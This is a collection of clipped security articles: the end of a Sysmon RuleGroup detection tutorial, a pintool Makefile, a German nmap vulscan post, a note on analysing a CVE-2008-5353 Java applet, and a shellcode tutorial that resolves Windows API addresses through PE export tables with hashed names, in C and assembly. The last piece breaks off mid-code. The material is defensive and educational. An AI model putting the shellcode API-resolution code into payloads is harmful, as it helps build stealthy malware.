      <HashAlgorithms>*</HashAlgorithms>  
      <EventFiltering>  
        <!-- Event ID 1 == Process Creation -->  
        <RuleGroup name="group 1" groupRelation="and">  
          <ProcessCreate onmatch="include">  
            <Image condition="end with">cmd.exe</Image>  
            <CommandLine condition="contains">whoami</CommandLine>  
          </ProcessCreate>  
        </RuleGroup>  
        <RuleGroup name="group 2" groupRelation="and">  
          <ProcessCreate onmatch="exclude">  
            <Image condition="end with">powershell.exe</Image>  
            <CommandLine condition="contains">whoami</CommandLine>  
          </ProcessCreate>  
        </RuleGroup>  
      </EventFiltering>  
    </Sysmon>
[/code]

That seem to work just fine\!

<img src='img/Temp2_6500.png' width='75' height='26' />

Once again, we can have **two** `groupRelations` on the same ID
\(ProcessCreate, NetworkConnect, ImageLoad, etc\), but not multiple filters
\(**Inclusion-Exclusion\)** of the same type.

### Can I mix “and” and “or” groupRelations?

Let’s try that:

[code]

    <Sysmon schemaversion="4.2">  
      <!-- Capture all hashes -->  
      <HashAlgorithms>*</HashAlgorithms>  
      <EventFiltering>  
        <!-- Event ID 1 == Process Creation -->  
        <RuleGroup name="group 1" groupRelation="and">  
          <ProcessCreate onmatch="include">  
            <Image condition="end with">cmd.exe</Image>  
            <CommandLine condition="contains">whoami</CommandLine>  
          </ProcessCreate>  
        </RuleGroup>  
        <RuleGroup name="group 2" groupRelation="or">  
          <ProcessCreate onmatch="exclude">  
            <Image condition="end with">powershell.exe</Image>  
            <CommandLine condition="contains">whoami</CommandLine>  
          </ProcessCreate>  
        </RuleGroup>  
      </EventFiltering>  
    </Sysmon>
[/code]

So far, Yes\! The config is valid, so you can do that too.

<img src='img/Temp2_6482.png' width='75' height='26' />

However, our two rules did not match on our initial basic conditions 🤔

That is because we are defining an **AND-Inclusion** with `whoami` as part of
the command line arguments, and an **OR-Exclusion** with `whoami` as part of
the command line arguments as well. Therefore, the **OR-Exclusion** will
override the initial`CommandLine` condition. Be careful\!

### How is this useful?

So far, I find these new features useful for a more targeted signature-like
collection strategy approach.

For example, if I wanted to do the following in previous versions:

[code]

    Collect ProcessCreate events including processes that their names end with powershell.exe and their ParentProcess name ends with WmiPrvSe.exe
[/code]

I had to write a rule like this:

[code]

    <Sysmon schemaversion="4.1">  
      <!-- Capture all hashes -->  
      <HashAlgorithms>*</HashAlgorithms>  
      <EventFiltering>  
        <!-- Event ID 1 == Process Creation -->  
        <ProcessCreate onmatch="include">  
          <Image condition="end with">powershell.exe</Image>  
          <ParentImage condition="contains">WmiPrvSe.exe</ParentImage>  
        </ProcessCreate>  
      </EventFiltering>  
    </Sysmon>
[/code]

However, as we already know, that rule will basically collect every event
where the **Image** value of a process ends with **powershell.exe** and not
necessarily when the **ParentImage** ends with **WmiPrvSe.exe**. Therefore,
you will collect more events than what you originally want.

In the image below, we can see how there is a match, but by the **Image**
condition only, and not by the combination of **Image** and **ParentImage**.

<img src='img/Temp2_6481.png' width='75' height='36' />

With Sysmon v9.0, you can re-write the rule the following way:

[code]

    <Sysmon schemaversion="4.2">  
      <!-- Capture all hashes -->  
      <HashAlgorithms>*</HashAlgorithms>  
      <EventFiltering>  
        <!-- Event ID 1 == Process Creation -->  
        <RuleGroup name="Potential Lateral Movement via WMI and PS" groupRelation="and">  
          <ProcessCreate onmatch="include">  
            <Image condition="end with">powershell.exe</Image>  
            <ParentImage condition="end with">WmiPrvSe.exe</ParentImage>  
          </ProcessCreate>  
        </RuleGroup>  
      </EventFiltering>  
    </Sysmon>
[/code]

and get the following results:

<img src='img/Temp2_6487.png' width='75' height='31' />

You can test if you get other **ProcessCreate** events where the **Image**
value of a process ends with **powershell.exe** only.

<img src='img/Temp2_6496.png' width='75' height='26' />

As you can see in the image above, all the other events with **Image** ending
with powershell.exe and without **ParentImage** ending with WmiPrvSE.exe are
excluded.

### What does the new event look like?

The event I captured above with the “Potential Lateral Movement via Wmi and
PS” rule was the following:

[code]

    - <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">  
        - <System>  
            <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />   
            <EventID>1</EventID>   
            <Version>5</Version>   
            <Level>4</Level>   
            <Task>1</Task>   
            <Opcode>0</Opcode>   
            <Keywords>0x8000000000000000</Keywords>   
            <TimeCreated SystemTime="2019-02-20T05:48:21.384221800Z" />   
            <EventRecordID>5051065</EventRecordID>   
            <Correlation />   
            <Execution ProcessID="2400" ThreadID="3272" />   
            <Channel>Microsoft-Windows-Sysmon/Operational</Channel>   
            <Computer>DESKTOP-LFD11QP.RIVENDELL.local</Computer>   
            <Security UserID="S-1-5-18" />   
        </System>  
        - <EventData>  
            <Data Name="RuleName">Potential Lateral Movement via WMI and PS</Data>   
            <Data Name="UtcTime">2019-02-20 05:48:21.373</Data>   
            <Data Name="ProcessGuid">{1C9FDC81-EA25-5C6C-0000-0010C2232900}</Data>   
            <Data Name="ProcessId">572</Data>   
            <Data Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>   
            <Data Name="FileVersion">10.0.17134.1 (WinBuild.160101.0800)</Data>   
            <Data Name="Description">Windows PowerShell</Data>   
            <Data Name="Product">Microsoft® Windows® Operating System</Data>   
            <Data Name="Company">Microsoft Corporation</Data>   
            <Data Name="CommandLine">powershell -c whoami</Data>   
            <Data Name="CurrentDirectory">C:\WINDOWS\system32\</Data>   
            <Data Name="User">RIVENDELL\cbrown</Data>   
            <Data Name="LogonGuid">{1C9FDC81-D3A8-5C6C-0000-0020B9570400}</Data>   
            <Data Name="LogonId">0x457b9</Data>   
            <Data Name="TerminalSessionId">1</Data>   
            <Data Name="IntegrityLevel">Medium</Data>   
            <Data Name="Hashes">SHA1=1B3B40FBC889FD4C645CC12C85D0805AC36BA254,MD5=95000560239032BC68B4C2FDFCDEF913,  
            SHA256=D3F8FADE829D2B7BD596C4504A6DAE5C034E789B6A3DEFBE013BDA7D14466677,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F</Data>   
            <Data Name="ParentProcessGuid">{1C9FDC81-D3A0-5C6C-0000-001033BD0200}</Data>   
            <Data Name="ParentProcessId">2580</Data>   
            <Data Name="ParentImage">C:\Windows\System32\wbem\WmiPrvSE.exe</Data>   
            <Data Name="ParentCommandLine">C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding</Data>   
        </EventData>  
      </Event>
[/code]

Something to remember is that the new schema does not provide a new field for
the **RuleGroup** feature. The value defined for the **RuleGroup**`name`
variable is passed to the already existing **RuleName** field as shown in the
image below:

<img src='img/Temp2_6506.png' width='75' height='60' />

### Can I add multiple tags like before?

Yes, you can do the same thing as in the previous versions and add multiple
tags. You can still add ATT&CK tags 😉 to your **RuleGroups**.

[code]

    <Sysmon schemaversion="4.2">  
      <!-- Capture all hashes -->  
      <HashAlgorithms>*</HashAlgorithms>  
      <EventFiltering>  
        <!-- Event ID 1 == Process Creation -->  
        <RuleGroup name="technique_id=T1047,tactic=Execution,platform=Windows" groupRelation="and">  
          <ProcessCreate onmatch="include">  
            <Image condition="end with">powershell.exe</Image>  
      <ParentImage condition="end with">WmiPrvSE.exe</ParentImage>  
          </ProcessCreate>  
        </RuleGroup>  
      </EventFiltering>  
    </Sysmon>Your event will look like before:
[/code]

You will get the same **RuleName** syntax as shown below:

<img src='img/Temp2_6493.png' width='75' height='61' />

### Can I still add tags at the field-condition level?

As you might have noticed, when you use the **RuleGroup**`name` for tagging,
you are not setting a tag for each field-condition. You are tagging the whole
group of field-conditions. However, you can still provide tags for each field-
condition. Just remember that if you set both**RuleGroup** `name` and
**Field**`name` tags, the tag at the **field-condition** level takes
precedence.

### How do I parse multiple RuleName values?

If you are not parsing the **RuleName** field already, and you are using
Logstash to transform your data, you could use the Logstash KV filter plugin
to parse multiple tags \(foo=bar syntax\). I showed this here before.

#### Logstash KV Filter Config

According to Logstash documentation, the KV filter plugin helps to parse
messages \(or specific event fields\) which are of the foo=bar variety.

  * •**source** => The field to perform key=value searching on
  * •**field\_split** => A string of characters to use as single-character field delimiters for parsing out key-value pairs.
  * •**value\_split** => A non-empty string of characters to use as single-character value delimiters for parsing out key-value pairs.
  * •**prefix** => A string to prepend to all of the extracted keys.
  * •**transform\_key** => Transform keys to lower case, upper case or capitals.

[code]

    filter {  
      if [log_name] == "Microsoft-Windows-Sysmon/Operational"{  
        if [RuleName] {  
          kv {  
            source => "[RuleName]"  
            field_split => ","  
            value_split => "="  
            prefix => "rule_"  
            transform_key => "lowercase"  
          }  
        }    
      }  
    }
[/code]

### What do I have to change in my Sysmon configs if I decide to upgrade to
Sysmon v9.0?

If you decide to upgrade to version 9.0 and use the **RuleGroup** features,
you will have to apply the following changes:

  * •Schema version needs to changed to 4.2
  * •Any rule \(**Include or Exclude**\) will need to be under a **RuleGroup** and have a `groupName` \(and|or\) defined. This is because if you leave your current rules the way they are, the default **OR** behavior that you had within your field-condition filters will turn into an **AND** behavior just like the initial basic **“and”** example I showed you earlier.
  * •If you are not changing the logic itself of your config, you will just need to add “**or”** group relations to each of your rules. For example, If you already have **ProcessCreate** rules, just add a **RuleGroup** with a `groupRelation` “**or”** as shown below:

[code]

    <RuleGroup name="name of rule" groupRelation="or">  
      <ProcessCreate onmatch="include">  
       ..  
      </ProcessCreate>  
    </RuleGroup>
[/code]

That will maintain the logic of your current rules. Make sure you do that to
every ID \(ProcessCreate, NetworkConnect, ImageLoad, etc.\) and filter type
\(Include|Exclude\)

If you decide to upgrade to version 9.0, but **NOT** use the new **RuleGroup**
features, you can keep the schema version to **4.10** or below**,** and your
config will still work like before \(default **OR** behavior within conditions
respected\).

That’s it\! I hope this post was useful for those wondering about the new
features provided by the latest Sysmon release \(v9.0\). This was just my
first attempt to understand the new capabilities, and I already see a few use
cases for organizations to reduce the amount of data produced by very
permissive configurations. Don’t get me wrong, I love to collect as much as I
can after prioritizing what would provide enough context to validate the
detection of adversarial techniques and sub-techniques, but it is also useful
to be able to be specific in some areas and reduce the noise.

### References

https://posts.specterops.io/categorizing-and-enriching-security-events-in-an-
elk-with-the-help-of-sysmon-and-att-ck-6c8e30234d34

https://posts.specterops.io/working-with-sysmon-configurations-like-a-pro-
through-better-tooling-be7ad7f99a47

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon\#event-
filtering-entries

  

# pintool-makefile/Makefile at master · jbremer/pintool-makefile · GitHub

**Created:**| _11/6/2012 9:25:58 AM_  
---|---  
**Updated:**| _11/6/2012 9:25:58 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation build_  
  

[/code]

[code]

  

PINTOOL = ..\pintool

DLLS = tz.dll

  

default: $\(DLLS\)

  

%.obj: %.cpp

cl /c /MT /EHs- /EHa- /wd4530 /DTARGET\_WINDOWS /DBIGARRAY\_MULTIPLIER=1 \

/DUSING\_XED /D\_CRT\_SECURE\_NO\_DEPRECATE /D\_SECURE\_SCL=0 /nologo /Gy \

/O2 /DTARGET\_IA32 /DHOST\_IA32 /I$\(PINTOOL\)\source\include \

/I$\(PINTOOL\)\source\include\gen /I$\(PINTOOL\)\source\tools\InstLib \

/I$\(PINTOOL\)\extras\xed2-ia32\include \

/I$\(PINTOOL\)\extras\components\include $^

  

%.dll: %.obj

link /DLL /EXPORT:main /NODEFAULTLIB /NOLOGO /INCREMENTAL:NO /OPT:REF \

/MACHINE:x86 /ENTRY:Ptrace\_DllMainCRTStartup@12 /BASE:0x55000000 \

/LIBPATH:$\(PINTOOL\)\ia32\lib /LIBPATH:$\(PINTOOL\)\ia32\lib-ext \

/LIBPATH:$\(PINTOOL\)\extras\xed2-ia32\lib /IMPLIB:tz.lib \

/PDB:tz.pdb /OUT:$@ $^ pin.lib libxed.lib libcpmt.lib \

libcmt.lib pinvm.lib kernel32.lib ntdll-32.lib

  

clean:

rm '\*.dll' '\*.exp' '\*.lib'

# Nmap NSE Vulscan Script • scip AG Labs

**Created:**| _6/4/2010 1:06:59 PM_  
---|---  
**Updated:**| _6/4/2010 1:06:59 PM_  
**Author:**| __  
**Tags:**| _pentest scripting network-security_  
  

## Labs: Nmap NSE Vulscan Script

am Donnerstag, 3. Juni 2010  
von Marc Ruef

Das quelloffene Netzwerkutility nmap kann dank der Nmap Scripting Engine um
eigene Mechanismen erweitert werden. Wir haben vor einigen Wochen eine
7-teilige Serie mit dem Titel Nmap NSE Hacking, sie führt in das Thema von
NSE-Skripting auf der Basis von Lua ein, veröffentlicht. Im Zuge dieser
Publikation haben wir ebenfalls eine NSE-Portierung von httprecon, einem Tool
zur Umsetzung von HTTP-Fingerprinting, umgesetzt.

Da wir einen Grossteil unserer netzwerkbasierten Sicherheitsüberprüfungen mit
der Hilfe von nmap durchführen, schreiben wir stetig neue NSE-Skripte. Eine
der grössten Entwicklungen in diesem Bereich ist das nmap NSE Vulscan script.
Dieses erweitert nmap, das ursprünglich als Portscanner konzipiert wurde, um
die Funktionalität eines _Vulnerability Scanners_. Damit können im weitesten
Sinn die Möglichkeiten geboten werden, wie sie zum Beispiel mit Lösungen wie
Nessus oder Qualys genutzt werden können – Nämlich das _Erkennen von
potentiellen Schwachstellen_.

**Das nmap NSE Vulscan Script steht hier zum Download zur Verfügung.**

Wir hatten verschiedene Ziele vor Augen, als wir das Vulscan-Skript entwickelt
haben. Als erstes ging es darum direkten Nutzen aus Version Detection, eine
sehr effiziente Implementierung des _Application Fingerprinting_ durch nmap,
zu ziehen. So versucht nmap auf der Basis eines Reiz/Reaktion-Schemas das
angebotene Anwendungsprotokoll sowie im gleichen Zug die eingesetzte Server-
Software \(Hersteller, Produkt, Name, Version und zusätzliche Informationen\)
zu ermitteln. Diese Daten werden genutzt, um daraus die potentiell vorhandenen
Schwachstellen in der gegenwärtigen Installation auszumachen.

<img src='img/Temp2_5595.png' width='668' height='332' alt='Das nmap nse
vulscan Skript erkennt qmail' />

Zu diesem Zweck werden die durch nmap zur Verfügung gestellten Grunddaten
weiterverwendet und mit osvdb.org verglichen. Hierbei handelt es sich um eine
quelloffene Verwundbarkeitsdatenbank – ähnlich wie unsere VulDB. Dabei
unterstützt die gegebene Implementierung zwei unterschiedliche Lookup-
Prozeduren:

  * **Title Search** : Die OSVDB ist darum bemüht, _im Titel_ einer Schwachstelle in stetig gleicher Weise das betroffene Produkt zu nennen. Die Volltextsuche macht sich diese Eigenschaft zu nutze und kann deshalb sehr schnell die möglichen Schwachstellen finden.
  * **Correlations Lookup** : In der OSVDB werden ebenfalls Hersteller/Produkte/Versionen geführt, die ihrerseits mit den jeweiligen Schwachstellen _verknüpft werden_. Durch das Erkennen dieser verlinkten Einträge wird es möglich, sehr exakt die jeweiligen Schwachstellen zu bestimmen.

Standardmässig wird die _Title Search_ umgesetzt. Sie ist sehr effizient, da
sie lediglich ein Textfeld der Tabelle `vulnerabilities` durchsuchen muss.
Jedoch kann dieser Modus verhältnismässig viele _False-Positives_ generieren.
Durch eine spezielle Fuzzy Search wird versucht die besten Treffer zu
bestimmen. Da OSVDB und nmap jedoch nicht immer die gleichen Produktenamen
verwenden, kann es hierbei zu Unstimmigkeiten kommen. Eine Vielzahl von
fehlerhaften Treffern wird beispielsweise bei einem Apache-Webserver
generiert.

Bessere Zuverlässigkeit und damit weniger False-Positives bietet der
_Correlations Lookup_. Dieser Modus wird aktiviert, wenn beim Aufruf von nmap
der Parameter `--script-args vulscancorrelation=1` verwendet wird. Sodann wird
in einem ersten Schritt in der Tabelle `products` das Produkt bestimmt, um
danach über die jeweiligen Zwischentabellen die verknüpften Verwundbarkeiten
in der Tabelle `vulnerabilities` auszumachen. Dieser Prozess ist sehr
aufwändig, da die Verknüpfungen berücksichtigt und deshalb verschiedene
Tabellen durchsucht werden müssen. Da die Betreuer der OSVDB jedoch nicht alle
Schwachstellen mit den jeweils verwundbaren Produkten verknüpft haben, neigt
dieser Modus zu _False-Negatives_.

Wir arbeiten an verschiedenen Massnahmen, die aufgezeigten Schwächen der
bereitgestellten Methoden zu eliminieren. Das Vulscan-Skript hilft jedoch sehr
gut dabei, potentielle Schwachstellen in bekannten Produkten ausmachen zu
können. Damit wird eine einfache und effiziente Grundlage geschaffen, um ein
breitflächiges Vulnerability Assessment voranzutreiben und damit einen
zielgerichteten Penetration Test angehen zu lassen.

Links:

  * http://net-square.com/httprint/httprint\_paper.html
  * http://nmap.org
  * http://nmap.org/book/nse.html
  * http://nmap.org/book/vscan.html
  * http://osvdb.org/
  * http://seclists.org/nmap-dev/2010/q2/547
  * http://seclists.org/nmap-dev/2010/q2/564
  * http://seclists.org/nmap-dev/2010/q2/568
  * http://twitter.com/mruef/status/14282125903
  * http://twitter.com/mruef/status/14476170121
  * http://www.computec.ch/mruef/?s=software
  * http://www.computec.ch/news.php?item.159
  * http://www.computec.ch/projekte/httprecon/

# Malware Analysis via Reflection | inREVERSE
**Created:**| _7/8/2010 9:59:23 PM_  
---|---  
**Updated:**| _7/8/2010 9:59:49 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Java programming_  
  

## Malware Analysis via Reflection

I am going to explain a quick and quite effective way to spot malicious
content inside malware written with languages that support reflection. I am
not going to reinvent the wheel, but I will show you how to combine the wheel
and a little bit of brain to obtain a good result while dealing with malware
analysis.

**Intro.**

I will focus on JAVA, but the idea exposed here it is applicable to every
language that supports reflection.

I am going to explain a quick way to understand what is contained inside the
class that we are analyzing without decompiling it or wasting time to
understand its \(probably obfuscated\) code.

**What is reflection ?**

Reflection is a way that enables a program to see and manipulate itself, which
is composed by metadata and operations to manipulate the metadata itself.

In my words ? A nice way to mess with unknown code :\]

**What and where is the metadata ?**

Metadata is information, which is associated with an entity in a such a way
that an entity can “admire” itself.

Metadata can be found in:  
_\- class  
\- contructor  
\- field  
\- method  
\- …_

**How can I access the metadata ?**

Simple:  _java.lang.reflect_ ;

For instance, in order to have all the declared methods used in an unknown
class \(c\):

[code]

    import java.lang.reflect.*;
    
    // ...
    
    for( Method m : c.getDeclaredMethods() )
    {
         System.out.println( m.toString() );
    }
    
    
[/code]

**Time to be practical.**

Let me pick a sample to analyze, and let me fire up jref.

The sample that I am going to analyze comes inside a jar, it contains the
following three classes:

1\. Mailvue.class  
2\. Skypeqd.class  
3\. Twitters.class

**Let’s investigate.**

_1\. Mailvue.class_

<img src='img/Temp2_5112.png' width='581' height='756' />

 _2\. Skypeqd.class_

<img src='img/Temp2_5110.png' width='577' height='351' />

 _3\. Twitters.class_

<img src='img/Temp2_5111.png' width='452' height='202' />

As we can easily deduce, this package is an Applet that is attempting to
exploit the well known deserialization bug  _CVE-2008-5353_. For more details
about, please refer to my previous blog posthere.

**The tool: jref.**

Jref is NOT an advanced tool, it is only a little \(few lines of code\) java
program that collects and prints out information about the provided class.

You will be able to download this tool on this website \(tomorrow?\).  
I will edit this post with the link. You will be also able to download this
tool from the tools link on the sidebar.

**Conclusion.**

You can quickly and easily extend the main idea here to all the others
languages that support reflection.

I hope you have enjoyed the reading.

Happy reflection ;\]

# Shellcode: Resolving API addresses in memory

**Created:**| _1/17/2017 1:23:50 PM_  
---|---  
**Updated:**| _1/17/2017 1:23:50 PM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

  

modexp

Random posts about computer security

<img src='img/cropped-12031583_1162956927065552_7765577459305227335_o.jpg'
width='940' height='198'
alt='cropped-12031583_1162956927065552_7765577459305227335_o.jpg' />

Skip to content

  * Home

← Shellcode: A Windows PIC using RSA-2048 key exchange, AES-256, SHA-3

## Shellcode: Resolving API addresses in memory

Posted on January 15, 2017 by Odzhan

### Introduction

A basic but core function of all _P osition Independent Code_ \(PIC\) for
windows is to resolve the address of API functions at runtime. It’s an
important task with a number of options available. Here, we’ll examine 2
popular methods using the _I mport Address Table_ \(IAT\) and _E xport Address
Table_ \(EAT\) which are by far the most stable. \(for this kind of code\)

Since the release of Windows Vista in 2007, _A ddress space layout
randomization_ \(ASLR\) is enabled for executables and dynamic link libraries
specifically linked to be ASLR-enabled which mitigates exploitation of
vulnerabilities.

But even long before ASLR arrived, virus writers over 20 years ago faced a
similar problem with the unintentional “randomization” of the base address for
kernel32.dll.

The first Windows 95 virus called Bizatch was written by Quantum/VLAD on a
beta copy of Windows 95. The virus used hardcoded API and as a result simply
crashed on versions of windows that had a different base address for
kernel32.dll.

Mr. Sandman, Jacky Qwerty and GriYo discussed “the kernel32 problem” and “the
GetModuleHandle solution” in PE infection under Win32 and weren’t aware of the
_P rocess Environment Block_ \(PEB\) under NT at the time which was discussed
later by Ratter in Gaining important datas from PEB under NT boxes..

Jacky Qwerty published a A GetProcAddress-alike utility which initially became
a “standard” method of resolving API addressses in viruses.

At some point after this, authors started resolving the API by CRC32 checksum,
presumably to hide strings of API in their code and also to reduce space.

LethalMind showed in 1999 a way to resolve API using his own checksum in
Retrieving API Addresses. Then of course LSD group proposed in 2002 their own
ARX based algorithm in WIN32 Assembly components \(shellcodes\) which was the
basis for many win32 shellcodes that followed.

That’s just a brief \(potentially inaccurate\) historical context of where
most of the basic ideas for resolving API came from. Today of course, there
are many more advanced challenges to overcome when exploiting vulnerabilities
but they are largely related to protection mechanisms and not what I’ll
discuss here.

All the structures displayed here can be found in WinNT.h from the Microsoft
SDK which should be included with MSVC if you have it installed.

You can find detailed description of PE/PE\+ format in pecoff.docx

### Image DOS Header

At the start of every PE file we find an MS-DOS executable or a “stub” that
makes any PE file a valid MS-DOS executable.

The only field we need here is **e \_lfnew** which when added to the current
base address of module gives us a pointer to **N T\_IMAGE\_HEADERS**

[code]

    // DOS .EXE header
    typedef struct _IMAGE_DOS_HEADER {      
        WORD   e_magic;     // Magic number
        WORD   e_cblp;      // Bytes on last page of file
        WORD   e_cp;        // Pages in file
        WORD   e_crlc;      // Relocations
        WORD   e_cparhdr;   // Size of header in paragraphs
        WORD   e_minalloc;  // Minimum extra paragraphs needed
        WORD   e_maxalloc;  // Maximum extra paragraphs needed
        WORD   e_ss;        // Initial (relative) SS value
        WORD   e_sp;        // Initial SP value
        WORD   e_csum;      // Checksum
        WORD   e_ip;        // Initial IP value
        WORD   e_cs;        // Initial (relative) CS value
        WORD   e_lfarlc;    // File address of relocation table
        WORD   e_ovno;      // Overlay number
        WORD   e_res[4];    // Reserved words
        WORD   e_oemid;     // OEM identifier (for e_oeminfo)
        WORD   e_oeminfo;   // OEM information; e_oemid specific
        WORD   e_res2[10];  // Reserved words
        LONG   e_lfanew;    // File address of new exe header
      } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
    
[/code]

### Image NT Headers

Because the base address for mapped PE image in memory can be “random”, only
the _R elative Virtual Address_ \(RVA\) of important structures are saved in
PE file.

To convert a RVA to _V irtual Address_ \(VA\) we can use the following macro.

[code]

    #define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)
    
[/code]

Once we add **e \_lfanew** to the base address, we then have a pointer to **I
MAGE\_NT\_HEADERS**.

The following 2 structures are defined in WinNT.h but only one is used
depending on architecture C code is compiled for.

We’re interested in the OptionalHeader field which contains among other things
information about import and export directories.

[code]

    typedef struct _IMAGE_NT_HEADERS64 {
        DWORD Signature;
        IMAGE_FILE_HEADER FileHeader;
        IMAGE_OPTIONAL_HEADER64 OptionalHeader;
    } IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;
    
    typedef struct _IMAGE_NT_HEADERS {
        DWORD Signature;
        IMAGE_FILE_HEADER FileHeader;
        IMAGE_OPTIONAL_HEADER32 OptionalHeader;
    } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
    
[/code]

### Image Optional Header

At the end of Optional Header is an array of **I MAGE\_DATA\_DIRECTORY**
structures.

[code]

    // Directory Entries
    
    #define IMAGE_DIRECTORY_ENTRY_EXPORT 0   // Export Directory
    #define IMAGE_DIRECTORY_ENTRY_IMPORT 1   // Import Directory
    
[/code]

[code]

    //
    // Optional header format.
    //
    
    typedef struct _IMAGE_OPTIONAL_HEADER {
      //
      // Standard fields.
      //
    
      WORD    Magic;
      BYTE    MajorLinkerVersion;
      BYTE    MinorLinkerVersion;
      DWORD   SizeOfCode;
      DWORD   SizeOfInitializedData;
      DWORD   SizeOfUninitializedData;
      DWORD   AddressOfEntryPoint;
      DWORD   BaseOfCode;
      DWORD   BaseOfData;
    
      //
      // NT additional fields.
      //
    
      DWORD   ImageBase;
      DWORD   SectionAlignment;
      DWORD   FileAlignment;
      WORD    MajorOperatingSystemVersion;
      WORD    MinorOperatingSystemVersion;
      WORD    MajorImageVersion;
      WORD    MinorImageVersion;
      WORD    MajorSubsystemVersion;
      WORD    MinorSubsystemVersion;
      DWORD   Win32VersionValue;
      DWORD   SizeOfImage;
      DWORD   SizeOfHeaders;
      DWORD   CheckSum;
      WORD    Subsystem;
      WORD    DllCharacteristics;
      DWORD   SizeOfStackReserve;
      DWORD   SizeOfStackCommit;
      DWORD   SizeOfHeapReserve;
      DWORD   SizeOfHeapCommit;
      DWORD   LoaderFlags;
      DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
    } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
    
[/code]

### Image Data Directory

Each directory holds a VA and size of directory. To access the export or
import directory, simply add the **V irtualAddress** to base using RVA2VA
macro.

[code]

    //
    // Directory format.
    //
    
    typedef struct _IMAGE_DATA_DIRECTORY {
        DWORD   VirtualAddress;
        DWORD   Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
    
    #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16
    
[/code]

  * **V irtualAddress**
RVA of the data structure. For example, if this structure is for import
symbols, this field contains the RVA of the IMAGE\_IMPORT\_DESCRIPTOR array.

  * **S ize**
Contains the size in bytes of the data structure referred to by
VirtualAddress.

### Image Export Directory

Since exports are first in the list of directories, let’s examine this method
of retrieval.

[code]

    //
    // Export Format
    //
    
    typedef struct _IMAGE_EXPORT_DIRECTORY {
        DWORD   Characteristics;
        DWORD   TimeDateStamp;
        WORD    MajorVersion;
        WORD    MinorVersion;
        DWORD   Name;
        DWORD   Base;
        DWORD   NumberOfFunctions;
        DWORD   NumberOfNames;
        DWORD   AddressOfFunctions;     // RVA from base of image
        DWORD   AddressOfNames;         // RVA from base of image
        DWORD   AddressOfNameOrdinals;  // RVA from base of image
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
    
[/code]

We’re interested in 5 fields.

  * **N ame**
RVA of a string for DLL name.

  * **N umberOfNames**
The number of exported API by name.

  * **A ddressOfFunctions**
RVA to array of VAs. When each VA is added to base address of module, they
will give us the address of an exported API.

  * **A ddressOfNames**
RVA to array of VAs. When each VA is added to base address of module, it will
give us the address of a null terminated string representing an exported API.

  * **A ddressOfNameOrdinals**
RVA to array of ordinals. Each ordinal represents an index in
AddressOfFunctions array.

The following function will retrieve an API address from the export table
using CRC-32C of DLL and API name.

_b ase_ parameter is obviously base address of DLL and hash is derived from
the addition of 2 CRC-32C hashes. _c rc32c\(DLL string\) \+ crc32c\(API
string\)_.

[code]

    LPVOID search_exp(LPVOID base, DWORD hash)
    {
      PIMAGE_DOS_HEADER       dos;
      PIMAGE_NT_HEADERS       nt;
      DWORD                   cnt, rva, dll_h;
      PIMAGE_DATA_DIRECTORY   dir;
      PIMAGE_EXPORT_DIRECTORY exp;
      PDWORD                  adr;
      PDWORD                  sym;
      PWORD                   ord;
      PCHAR                   api, dll;
      LPVOID                  api_adr=NULL;
      
      dos = (PIMAGE_DOS_HEADER)base;
      nt  = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
      dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
      rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
      
      // if no export table, return NULL
      if (rva==0) return NULL;
      
      exp = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, base, rva);
      cnt = exp->NumberOfNames;
      
      // if no api, return NULL
      if (cnt==0) return NULL;
      
      adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions);
      sym = RVA2VA(PDWORD,base, exp->AddressOfNames);
      ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals);
      dll = RVA2VA(PCHAR, base, exp->Name);
      
      // calculate hash of DLL string
      dll_h = crc32c(dll);
      
      do {
        // calculate hash of api string
        api = RVA2VA(PCHAR, base, sym[cnt-1]);
        // add to DLL hash and compare
        if (crc32c(api) + dll_h == hash) {
          // return address of function
          api_adr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]);
          return api_adr;
        }
      } while (--cnt && api_adr==0);
      return api_adr;
    }
    
[/code]

One important thing to mention is that this function does not resolve API by
ordinal nor does it resolve forward references which can sometimes be a
problem.

Here’s some assembly to perform the same thing.

[code]

    ; in:  ebx = base of module to search
    ;      ecx = hash to find
    ;
    ; out: eax = api address resolved in EAT
    ;
    search_expx:
        pushad
        ; eax = IMAGE_DOS_HEADER.e_lfanew
        mov    eax, [ebx+3ch]
    
        ; first directory is export
        ; ecx = IMAGE_DATA_DIRECTORY.VirtualAddress
        mov    ecx, [ebx+eax+78h]
        jecxz  exp_l2
    
        ; eax = crc32c(IMAGE_EXPORT_DIRECTORY.Name)
        mov    eax, [ebx+ecx+0ch]
        add    eax, ebx
        call   crc32c
        mov    [esp+_edx], eax
    
        ; esi = IMAGE_EXPORT_DIRECTORY.NumberOfNames
        lea    esi, [ebx+ecx+18h]
        push   4
        pop    ecx         ; load 4 RVA
    exp_l0:
        lodsd              ; load RVA
        add    eax, ebx    ; eax = RVA2VA(ebx, eax)
        push   eax         ; save VA
        loop   exp_l0
    
        pop    edi          ; edi = AddressOfNameOrdinals
        pop    edx          ; edx = AddressOfNames
        pop    esi          ; esi = AddressOfFunctions
